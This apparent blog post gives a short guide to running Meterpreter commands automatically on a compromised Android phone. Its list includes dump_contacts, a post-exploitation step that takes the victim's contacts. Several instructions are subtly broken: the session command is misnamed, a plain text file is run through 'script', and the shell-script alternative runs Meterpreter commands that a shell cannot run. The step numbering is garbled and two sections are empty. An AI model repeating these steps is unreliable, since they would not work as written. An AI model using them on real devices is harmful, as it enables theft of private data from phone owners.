Blog | G5 Cyber Security

Android Meterpreter Auto Commands

TL;DR

This guide shows you how to automatically run commands when a Meterpreter session starts on an Android device using Metasploit. We’ll use the session -i command with a script file containing your desired commands.

Prerequisites

Step-by-Step Guide

  1. Create a Command Script File
  2. First, create a text file (e.g., auto_commands.txt) containing the Meterpreter commands you want to execute automatically. Each command should be on a new line.

    sysinfo
    getuid
    dump_contacts
    
  3. Access the Session
  4. Open Metasploit and access your Meterpreter session using session -i . Replace <session_id> with the actual ID of your active session.

    msf6 > session -i 1
    meterpreter > 
  5. Execute the Script
  6. Within the Meterpreter session, use the script command to execute your script. This will run all commands in the file sequentially.

    meterpreter > script /data/local/tmp/auto_commands.txt
    [*] Running script auto_commands.txt...
    ... (output of commands) ...
    [*] Script completed.
    
  7. Automate on Session Start (Post-Exploitation Module)
  8. For more robust automation, you can use a post-exploitation module to execute the script automatically when a session is created. This requires creating a custom module or modifying an existing one.

  • Alternative Method: Using a Shell Script (Less Reliable)
  • You can attempt to execute a shell script from Meterpreter, but this is less reliable due to Android’s security restrictions.

    meterpreter > shell
    mkdir /data/local/tmp/script_folder
    echo "sysinfo" > /data/local/tmp/script_folder/run.sh
    echo "getuid" >> /data/local/tmp/script_folder/run.sh
    chmod +x /data/local/tmp/script_folder/run.sh
    /data/local/tmp/script_folder/run.sh
    

    Note: This method may require root access or specific permissions to execute the script successfully.

  • Troubleshooting
  • Exit mobile version